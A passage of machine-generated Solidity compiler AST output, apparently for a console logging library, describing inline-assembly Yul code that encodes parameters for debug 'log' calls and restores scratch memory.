ulFunctionCall","src":"257960:11:22"},"variableNames":[{"name":"m5","nativeSrc":"257954:2:22","nodeType":"YulIdentifier","src":"257954:2:22"}]},{"nativeSrc":"257984:17:22","nodeType":"YulAssignment","src":"257984:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"257996:4:22","nodeType":"YulLiteral","src":"257996:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"257990:5:22","nodeType":"YulIdentifier","src":"257990:5:22"},"nativeSrc":"257990:11:22","nodeType":"YulFunctionCall","src":"257990:11:22"},"variableNames":[{"name":"m6","nativeSrc":"257984:2:22","nodeType":"YulIdentifier","src":"257984:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"258084:4:22","nodeType":"YulLiteral","src":"258084:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"258090:10:22","nodeType":"YulLiteral","src":"258090:10:22","type":"","value":"0xef529018"}],"functionName":{"name":"mstore","nativeSrc":"258077:6:22","nodeType":"YulIdentifier","src":"258077:6:22"},"nativeSrc":"258077:24:22","nodeType":"YulFunctionCall","src":"258077:24:22"},"nativeSrc":"258077:24:22","nodeType":"YulExpressionStatement","src":"258077:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"258121:4:22","nodeType":"YulLiteral","src":"258121:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"258127:2:22","nodeType":"YulIdentifier","src":"258127:2:22"}],"functionName":{"name":"mstore","nativeSrc":"258114:6:22","nodeType":"YulIdentifier","src":"258114:6:22"},"nativeSrc":"258114:16:22","nodeType":"YulFunctionCall","src":"258114:16:22"},"nativeSrc":"258114:16:22","nodeType":"YulExpressionStatement","src":"258114:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"258150:4:22","nodeType":"YulLiteral","src":"258150:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"258156:2:22","nodeType":"YulIdentifier","src":"258156:2:22"}],"functionName":{"name":"mstore","nativeSrc":"258143:6:22","nodeType":"YulIdentifier","src":"258143:6:22"},"nativeSrc":"258143:16:22","nodeType":"YulFunctionCall","src":"258143:16:22"},"nativeSrc":"258143:16:22","nodeType":"YulExpressionStatement","src":"258143:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"258179:4:22","nodeType":"YulLiteral","src":"258179:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"258185:4:22","nodeType":"YulLiteral","src":"258185:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"258172:6:22","nodeType":"YulIdentifier","src":"258172:6:22"},"nativeSrc":"258172:18:22","nodeType":"YulFunctionCall","src":"258172:18:22"},"nativeSrc":"258172:18:22","nodeType":"YulExpressionStatement","src":"258172:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"258210:4:22","nodeType":"YulLiteral","src":"258210:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"258216:2:22","nodeType":"YulIdentifier","src":"258216:2:22"}],"functionName":{"name":"mstore","nativeSrc":"258203:6:22","nodeType":"YulIdentifier","src":"258203:6:22"},"nativeSrc":"258203:16:22","nodeType":"YulFunctionCall","src":"258203:16:22"},"nativeSrc":"258203:16:22","nodeType":"YulExpressionStatement","src":"258203:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"258244:4:22","nodeType":"YulLiteral","src":"258244:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"258250:2:22","nodeType":"YulIdentifier","src":"258250:2:22"}],"functionName":{"name":"writeString","nativeSrc":"258232:11:22","nodeType":"YulIdentifier","src":"258232:11:22"},"nativeSrc":"258232:21:22","nodeType":"YulFunctionCall","src":"258232:21:22"},"nativeSrc":"258232:21:22","nodeType":"YulExpressionStatement","src":"258232:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42304,"isOffset":false,"isSlot":false,"src":"257804:2:22","valueSize":1},{"declaration":42307,"isOffset":false,"isSlot":false,"src":"257834:2:22","valueSize":1},{"declaration":42310,"isOffset":false,"isSlot":false,"src":"257864:2:22","valueSize":1},{"declaration":42313,"isOffset":false,"isSlot":false,"src":"257894:2:22","valueSize":1},{"declaration":42316,"isOffset":false,"isSlot":false,"src":"257924:2:22","valueSize":1},{"declaration":42319,"isOffset":false,"isSlot":false,"src":"257954:2:22","valueSize":1},{"declaration":42322,"isOffset":false,"isSlot":false,"src":"257984:2:22","valueSize":1},{"declaration":42294,"isOffset":false,"isSlot":false,"src":"258127:2:22","valueSize":1},{"declaration":42296,"isOffset":false,"isSlot":false,"src":"258156:2:22","valueSize":1},{"declaration":42298,"isOffset":false,"isSlot":false,"src":"258250:2:22","valueSize":1},{"declaration":42300,"isOffset":false,"isSlot":false,"src":"258216:2:22","valueSize":1}],"id":42324,"nodeType":"InlineAssembly","src":"257426:837:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":42326,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"258288:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786334","id":42327,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"258294:4:22","typeDescriptions":{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"},"value":"0xc4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_196_by_1","typeString":"int_const 196"}],"id":42325,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"258272:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":42328,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"258272:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":42329,"nodeType":"ExpressionStatement","src":"258272:27:22"},{"AST":{"nativeSrc":"258318:214:22","nodeType":"YulBlock","src":"258318:214:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"258339:4:22","nodeType":"YulLiteral","src":"258339:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"258345:2:22","nodeType":"YulIdentifier","src":"258345:2:22"}],"functionName":{"name":"mstore","nativeSrc":"258332:6:22","nodeType":"YulIdentifier","src":"258332:6:22"},"nativeSrc":"258332:16:22","nodeType":"YulFunctionCall","src":"258332:16:22"},"nativeSrc":"258332:16:22","nodeType":"YulExpressionStatement","src":"258332:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"258368:4:22","nodeType":"YulLiteral","src":"258368:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"258374:2:22","nodeType":"YulIdentifier","src":"258374:2:22"}],"functionName":{"name":"mstore","nativeSrc":"258361:6:22","nodeType":"YulIdentifier","src":"258361:6:22"},"nativeSrc":"258361:16:22","nodeType":"YulFunctionCall","src":"258361:16:22"},"nativeSrc":"258361:16:22","nodeType":"YulExpressionStatement","src":"258361:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"258397:4:22","nodeType":"YulLiteral","src":"258397:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"258403:2:22","nodeType":"YulIdentifier","src":"258403:2:22"}],"functionName":{"name":"mstore","nativeSrc":"258390:6:22","nodeType":"YulIdentifier","src":"258390:6:22"},"nativeSrc":"258390:16:22","nodeType":"YulFunctionCall","src":"258390:16:22"},"nativeSrc":"258390:16:22","nodeType":"YulExpressionStatement","src":"258390:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"258426:4:22","nodeType":"YulLiteral","src":"258426:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"258432:2:22","nodeType":"YulIdentifier","src":"258432:2:22"}],"functionName":{"name":"mstore","nativeSrc":"258419:6:22","nodeType":"YulIdentifier","src":"258419:6:22"},"nativeSrc":"258419:16:22","nodeType":"YulFunctionCall","src":"258419:16:22"},"nativeSrc":"258419:16:22","nodeType":"YulExpressionStatement","src":"258419:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"258455:4:22","nodeType":"YulLiteral","src":"258455:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"258461:2:22","nodeType":"YulIdentifier","src":"258461:2:22"}],"functionName":{"name":"mstore","nativeSrc":"258448:6:22","nodeType":"YulIdentifier","src":"258448:6:22"},"nativeSrc":"258448:16:22","nodeType":"YulFunctionCall","src":"258448:16:22"},"nativeSrc":"258448:16:22","nodeType":"YulExpressionStatement","src":"258448:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"258484:4:22","nodeType":"YulLiteral","src":"258484:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"258490:2:22","nodeType":"YulIdentifier","src":"258490:2:22"}],"functionName":{"name":"mstore","nativeSrc":"258477:6:22","nodeType":"YulIdentifier","src":"258477:6:22"},"nativeSrc":"258477:16:22","nodeType":"YulFunctionCall","src":"258477:16:22"},"nativeSrc":"258477:16:22","nodeType":"YulExpressionStatement","src":"258477:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"258513:4:22","nodeType":"YulLiteral","src":"258513:4:22","type":"","value":"0xc0"},{"name":"m6","nativeSrc":"258519:2:22","nodeType":"YulIdentifier","src":"258519:2:22"}],"functionName":{"name":"mstore","nativeSrc":"258506:6:22","nodeType":"YulIdentifier","src":"258506:6:22"},"nativeSrc":"258506:16:22","nodeType":"YulFunctionCall","src":"258506:16:22"},"nativeSrc":"258506:16:22","nodeType":"YulExpressionStatement","src":"258506:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42304,"isOffset":false,"isSlot":false,"src":"258345:2:22","valueSize":1},{"declaration":42307,"isOffset":false,"isSlot":false,"src":"258374:2:22","valueSize":1},{"declaration":42310,"isOffset":false,"isSlot":false,"src":"258403:2:22","valueSize":1},{"declaration":42313,"isOffset":false,"isSlot":false,"src":"258432:2:22","valueSize":1},{"declaration":42316,"isOffset":false,"isSlot":false,"src":"258461:2:22","valueSize":1},{"declaration":42319,"isOffset":false,"isSlot":false,"src":"258490:2:22","valueSize":1},{"declaration":42322,"isOffset":false,"isSlot":false,"src":"258519:2:22","valueSize":1}],"id":42330,"nodeType":"InlineAssembly","src":"258309:223:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"257213:3:22","parameters":{"id":42301,"nodeType":"ParameterList","parameters":[{"constant":false,"id":42294,"mutability":"mutable","name":"p0","nameLocation":"257225:2:22","nodeType":"VariableDeclaration","scope":42332,"src":"257217:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":42293,"name":"uint256","nodeType":"ElementaryTypeName","src":"257217:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":42296,"mutability":"mutable","name":"p1","nameLocation":"257234:2:22","nodeType":"VariableDeclaration","scope":42332,"src":"257229:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":42295,"name":"bool","nodeType":"ElementaryTypeName","src":"257229:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":42298,"mutability":"mutable","name":"p2","nameLocation":"257246:2:22","nodeType":"VariableDeclaration","scope":42332,"src":"257238:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42297,"name":"bytes32","nodeType":"ElementaryTypeName","src":"257238:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":42300,"mutability":"mutable","name":"p3","nameLocation":"257258:2:22","nodeType":"VariableDeclaration","scope":42332,"src":"257250:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":42299,"name":"address","nodeType":"ElementaryTypeName","src":"257250:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"257216:45:22"},"returnParameters":{"id":42302,"nodeType":"ParameterList","parameters":[],"src":"257276:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":42372,"nodeType":"FunctionDefinition","src":"258544:1328:22","nodes":[],"body":{"id":42371,"nodeType":"Block","src":"258613:1259:22","nodes":[],"statements":[{"assignments":[42344],"declarations":[{"constant":false,"id":42344,"mutability":"mutable","name":"m0","nameLocation":"258631:2:22","nodeType":"VariableDeclaration","scope":42371,"src":"258623:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42343,"name":"bytes32","nodeType":"ElementaryTypeName","src":"258623:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42345,"nodeType":"VariableDeclarationStatement","src":"258623:10:22"},{"assignments":[42347],"declarations":[{"constant":false,"id":42347,"mutability":"mutable","name":"m1","nameLocation":"258651:2:22","nodeType":"VariableDeclaration","scope":42371,"src":"258643:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42346,"name":"bytes32","nodeType":"ElementaryTypeName","src":"258643:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42348,"nodeType":"VariableDeclarationStatement","src":"258643:10:22"},{"assignments":[42350],"declarations":[{"constant":false,"id":42350,"mutability":"mutable","name":"m2","nameLocation":"258671:2:22","nodeType":"VariableDeclaration","scope":42371,"src":"258663:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42349,"name":"bytes32","nodeType":"ElementaryTypeName","src":"258663:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42351,"nodeType":"VariableDeclarationStatement","src":"258663:10:22"},{"assignments":[42353],"declarations":[{"constant":false,"id":42353,"mutability":"mutable","name":"m3","nameLocation":"258691:2:22","nodeType":"VariableDeclaration","scope":42371,"src":"258683:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42352,"name":"bytes32","nodeType":"ElementaryTypeName","src":"258683:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42354,"nodeType":"VariableDeclarationStatement","src":"258683:10:22"},{"assignments":[42356],"declarations":[{"constant":false,"id":42356,"mutability":"mutable","name":"m4","nameLocation":"258711:2:22","nodeType":"VariableDeclaration","scope":42371,"src":"258703:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42355,"name":"bytes32","nodeType":"ElementaryTypeName","src":"258703:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42357,"nodeType":"VariableDeclarationStatement","src":"258703:10:22"},{"assignments":[42359],"declarations":[{"constant":false,"id":42359,"mutability":"mutable","name":"m5","nameLocation":"258731:2:22","nodeType":"VariableDeclaration","scope":42371,"src":"258723:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42358,"name":"bytes32","nodeType":"ElementaryTypeName","src":"258723:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42360,"nodeType":"VariableDeclarationStatement","src":"258723:10:22"},{"assignments":[42362],"declarations":[{"constant":false,"id":42362,"mutability":"mutable","name":"m6","nameLocation":"258751:2:22","nodeType":"VariableDeclaration","scope":42371,"src":"258743:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":42361,"name":"bytes32","nodeType":"ElementaryTypeName","src":"258743:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":42363,"nodeType":"VariableDeclarationStatement","src":"258743:10:22"},{"AST":{"nativeSrc":"258772:825:22","nodeType":"YulBlock","src":"258772:825:22","statements":[{"body":{"nativeSrc":"258815:313:22","nodeType":"YulBlock","src":"258815:313:22","statements":[{"nativeSrc":"258833:15:22","nodeType":"YulVariableDeclaration","src":"258833:15:22","value":{"kind":"number","nativeSrc":"258847:1:22","nodeType":"YulLiteral","src":"258847:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"258837:6:22","nodeType":"YulTypedName","src":"258837:6:22","type":""}]},{"body":{"nativeSrc":"258918:40:22","nodeType":"YulBlock","src":"258918:40:22","statements":[{"body":{"nativeSrc":"258947:9:22","nodeType":"YulBlock","src":"258947:9:22","statements":[{"nativeSrc":"258949:5:22","nodeType":"YulBreak","src":"258949:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"258935:6:22","nodeType":"YulIdentifier","src":"258935:6:22"},{"name":"w","nativeSrc":"258943:1:22","nodeType":"YulIdentifier","src":"258943:1:22"}],"functionName":{"name":"byte","nativeSrc":"258930:4:22","nodeType":"YulIdentifier","src":"258930:4:22"},"nativeSrc":"258930:15:22","nodeType":"YulFunctionCall","src":"258930:15:22"}],"functionName":{"name":"iszero","nativeSrc":"258923:6:22","nodeType":"YulIdentifier","src":"258923:6:22"},"nativeSrc":"258923:23:22","nodeType":"YulFunctionCall","src":"258923:23:22"},"nativeSrc":"258920:36:22","nodeType":"YulIf","src":"258920:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"258875:6:22","nodeType":"YulIdentifier","src":"258875:6:22"},{"kind":"number","nativeSrc":"258883:4:22","nodeType":"YulLiteral","src":"258883:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"258872:2:22","nodeType":"YulIdentifier","src":"258872:2:22"},"nativeSrc":"258872:16:22","nodeType":"YulFunctionCall","src":"258872:16:22"},"nativeSrc":"258865:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"258889:28:22","nodeType":"YulBlock","src":"258889:28:22","statements":[{"nativeSrc":"258891:24:22","nodeType":"YulAssignment","src":"258891:24:22","value":{"arguments":[{"name":"length","nativeSrc":"258905:6:22","nodeType":"YulIdentifier","src":"258905:6:22"},{"kind":"number","nativeSrc":"258913:1:22","nodeType":"YulLiteral","src":"258913:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"258901:3:22","nodeType":"YulIdentifier","src":"258901:3:22"},"nativeSrc":"258901:14:22","nodeType":"YulFunctionCall","src":"258901:14:22"},"variableNames":[{"name":"length","nativeSrc":"258891:6:22","nodeType":"YulIdentifier","src":"258891:6:22"}]}]},"pre":{"nativeSrc":"258869:2:22","nodeType":"YulBlock","src":"258869:2:22","statements":[]},"src":"258865:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"258982:3:22","nodeType":"YulIdentifier","src":"258982:3:22"},{"name":"length","nativeSrc":"258987:6:22","nodeType":"YulIdentifier","src":"258987:6:22"}],"functionName":{"name":"mstore","nativeSrc":"258975:6:22","nodeType":"YulIdentifier","src":"258975:6:22"},"nativeSrc":"258975:19:22","nodeType":"YulFunctionCall","src":"258975:19:22"},"nativeSrc":"258975:19:22","nodeType":"YulExpressionStatement","src":"258975:19:22"},{"nativeSrc":"259011:37:22","nodeType":"YulVariableDeclaration","src":"259011:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"259028:3:22","nodeType":"YulLiteral","src":"259028:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"259037:1:22","nodeType":"YulLiteral","src":"259037:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"259040:6:22","nodeType":"YulIdentifier","src":"259040:6:22"}],"functionName":{"name":"shl","nativeSrc":"259033:3:22","nodeType":"YulIdentifier","src":"259033:3:22"},"nativeSrc":"259033:14:22","nodeType":"YulFunctionCall","src":"259033:14:22"}],"functionName":{"name":"sub","nativeSrc":"259024:3:22","nodeType":"YulIdentifier","src":"259024:3:22"},"nativeSrc":"259024:24:22","nodeType":"YulFunctionCall","src":"259024:24:22"},"variables":[{"name":"shift","nativeSrc":"259015:5:22","nodeType":"YulTypedName","src":"259015:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"259076:3:22","nodeType":"YulIdentifier","src":"259076:3:22"},{"kind":"number","nativeSrc":"259081:4:22","nodeType":"YulLiteral","src":"259081:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"259072:3:22","nodeType":"YulIdentifier","src":"259072:3:22"},"nativeSrc":"259072:14:22","nodeType":"YulFunctionCall","src":"259072:14:22"},{"arguments":[{"name":"shift","nativeSrc":"259092:5:22","nodeType":"YulIdentifier","src":"259092:5:22"},{"arguments":[{"name":"shift","nativeSrc":"259103:5:22","nodeType":"YulIdentifier","src":"259103:5:22"},{"name":"w","nativeSrc":"259110:1:22","nodeType":"YulIdentifier","src":"259110:1:22"}],"functionName":{"name":"shr","nativeSrc":"259099:3:22","nodeType":"YulIdentifier","src":"259099:3:22"},"nativeSrc":"259099:13:22","nodeType":"YulFunctionCall","src":"259099:13:22"}],"functionName":{"name":"shl","nativeSrc":"259088:3:22","nodeType":"YulIdentifier","src":"259088:3:22"},"nativeSrc":"259088:25:22","nodeType":"YulFunctionCall","src":"259088:25:22"}],"functionName":{"name":"mstore","nativeSrc":"259065:6:22","nodeType":"YulIdentifier","src":"259065:6:22"},"nativeSrc":"259065:49:22","nodeType":"YulFunctionCall","src":"259065:49:22"},"nativeSrc":"259065:49:22","nodeType":"YulExpressionStatement","src":"259065:49:22"}]},"name":"writeString","nativeSrc":"258786:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"258807:3:22","nodeType":"YulTypedName","src":"258807:3:22","type":""},{"name":"w","nativeSrc":"258812:1:22","nodeType":"YulTypedName","src":"258812:1:22","type":""}],"src":"258786:342:22"},{"nativeSrc":"259141:17:22","nodeType":"YulAssignment","src":"259141:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"259153:4:22","nodeType":"YulLiteral","src":"259153:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"259147:5:22","nodeType":"YulIdentifier","src":"259147:5:22"},"nativeSrc":"259147:11:22","nodeType":"YulFunctionCall","src":"259147:11:22"},"variableNames":[{"name":"m0","nativeSrc":"259141:2:22","nodeType":"YulIdentifier","src":"259141:2:22"}]},{"nativeSrc":"259171:17:22","nodeType":"YulAssignment","src":"259171:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"259183:4:22","nodeType":"YulLiteral","src":"259183:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"259177:5:22","nodeType":"YulIdentifier","src":"259177:5:22"},"nativeSrc":"259177:11:22","nodeType":"YulFunctionCall","src":"259177:11:22"},"variableNames":[{"name":"m1","nativeSrc":"259171:2:22","nodeType":"YulIdentifier","src":"259171:2:22"}]},{"nativeSrc":"259201:17:22","nodeType":"YulAssignment","src":"259201:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"259213:4:22","nodeType":"YulLiteral","src":"259213:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"259207:5:22","nodeType":"YulIdentifier","src":"259207:5:22"},"nativeSrc":"259207:11:22","nodeType":"YulFunctionCall","src":"259207:11:22"},"variableNames":[{"name":"m2","nativeSrc":"259201:2:22","nodeType":"YulIdentifier","src":"259201:2:22"}]},{"nativeSrc":"259231:17:22","nodeType":"YulAssignment","src":"259231:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"259243:4:22","nodeType":"YulLiteral","src":"259243:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"259237:5:22","nodeType":"YulIdentifier","src":"259237:5:22"},"nativeSrc":"259237:11:22","nodeType":"YulFunctionCall","src":"259237:11:22"},"variableNames":[{"name":"m3","nativeSrc":"259231:2:22","nodeType":"YulIdentifier","src":"259231:2:22"}]},{"nativeSrc":"259261:17:22","nodeType":"YulAssignment","src":"259261:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"259273:4:22","nodeType":"YulLiteral","src":"259273:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"259267:5:22","nodeType":"YulIdentifier","src":"259267:5:22"},"nativeSrc":"259267:11:22","nodeType":"YulFunctionCall","src":"259267:11:22"},"variableNames":[{"name":"m4","nativeSrc":"259261:2:22","nodeType":"YulIdentifier","src":"259261:2:22"}]},{"nativeSrc":"259291:17:22","nodeType":"YulAssignment","src":"259291:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"259303:4:22","nodeType":"YulLiteral","src":"259303:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"259297:5:22","nodeType":"YulIdentifier","src":"259297:5:22"},"nativeSrc":"259297:11:22","nodeType":"YulFunctionCall","src":"259297:11:22"},"variableNames":[{"name":"m5","nativeSrc":"259291:2:22","nodeType":"YulIdentifier","src":"259291:2:22"}]},{"nativeSrc":"259321:17:22","nodeType":"YulAssignment","src":"259321:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"259333:4:22","nodeType":"YulLiteral","src":"259333:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"259327:5:22","nodeType":"YulIdentifier","src":"259327:5:22"},"nativeSrc":"259327:11:22","nodeType":"YulFunctionCall","src":"259327:11:22"},"variableNames":[{"name":"m6","nativeSrc":"259321:2:22","nodeType":"YulIdentifier","src":"259321:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"259418:4:22","nodeType":"YulLiteral","src":"259418:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"259424:10:22","nodeType":"YulLiteral","src":"259424:10:22","type":"","value":"0xeb928d7f"}],"functionName":{"name":"mstore","nativeSrc":"259411:6:22","nodeType":"YulIdentifier","src":"259411:6:22"},"nativeSrc":"259411:24:22","nodeType":"YulFunctionCall","src":"259411:24:22"},"nativeSrc":"259411:24:22","nodeType":"YulExpressionStatement","src":"259411:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"259455:4:22","nodeType":"YulLiteral","src":"259455:4:22","type":"","value":"0x20"},{"name":"p0","nativeSrc":"259461:2:22","nodeType":"YulIdentifier","src":"259461:2:22"}],"functionName":{"name":"mstore","nativeSrc":"259448:6:22","nodeType":"YulIdentifier","src":"259448:6:22"},"nativeSrc":"259448:16:22","nodeType":"YulFunctionCall","src":"259448:16:22"},"nativeSrc":"259448:16:22","nodeType":"YulExpressionStatement","src":"259448:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"259484:4:22","nodeType":"YulLiteral","src":"259484:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"259490:2:22","nodeType":"YulIdentifier","src":"259490:2:22"}],"functionName":{"name":"mstore","nativeSrc":"259477:6:22","nodeType":"YulIdentifier","src":"259477:6:22"},"nativeSrc":"259477:16:22","nodeType":"YulFunctionCall","src":"259477:16:22"},"nativeSrc":"259477:16:22","nodeType":"YulExpressionStatement","src":"259477:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"259513:4:22","nodeType":"YulLiteral","src":"259513:4:22","type":"","value":"0x60"},{"kind":"number","nativeSrc":"259519:4:22","nodeType":"YulLiteral","src":"259519:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"259506:6:22","nodeType":"YulIdentifier","src":"259506:6:22"},"nativeSrc":"259506:18:22","nodeType":"YulFunctionCall","src":"259506:18:22"},"nativeSrc":"259506:18:22","nodeType":"YulExpressionStatement","src":"259506:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"259544:4:22","nodeType":"YulLiteral","src":"259544:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"259550:2:22","nodeType":"YulIdentifier","src":"259550:2:22"}],"functionName":{"name":"mstore","nativeSrc":"259537:6:22","nodeType":"YulIdentifier","src":"259537:6:22"},"nativeSrc":"259537:16:22","nodeType":"YulFunctionCall","src":"259537:16:22"},"nativeSrc":"259537:16:22","nodeType":"YulExpressionStatement","src":"259537:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"259578:4:22","nodeType":"YulLiteral","src":"259578:4:22","type":"","value":"0xa0"},{"name":"p2","nativeSrc":"259584:2:22","nodeType":"YulIdentifier","src":"259584:2:22"}],"functionName":{"name":"writeString","nativeSrc":"259566:11:22","nodeType":"YulIdentifier","src":"259566:11:22"},"nativeSrc":"259566:21:22","nodeType":"YulFunctionCall","src":"259566:21:22"},"nativeSrc":"259566:21:22","nodeType":"YulExpressionStatement","src":"259566:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":42344,"isOffset":false,"isSlot":false,"src":"259141:2:22","valueSize":1},{"declaration":42347,"isOffset":false,"isSlot":false,"src":"259171:2:22","valueSize":1},{"declaration":42350,"isOffset":false,"isSlot":false,"src":"259201:2:22","valueSize":1},{"declaration":42353,"isOffset":false,"isSlot":false,"src":"259231:2:22","valueSize":1},{"declaration":42356,"isOffset":false,"isSlot":false,"src":"259261:2:22","valueSize":1},{"declaration":42359,"isOffset":f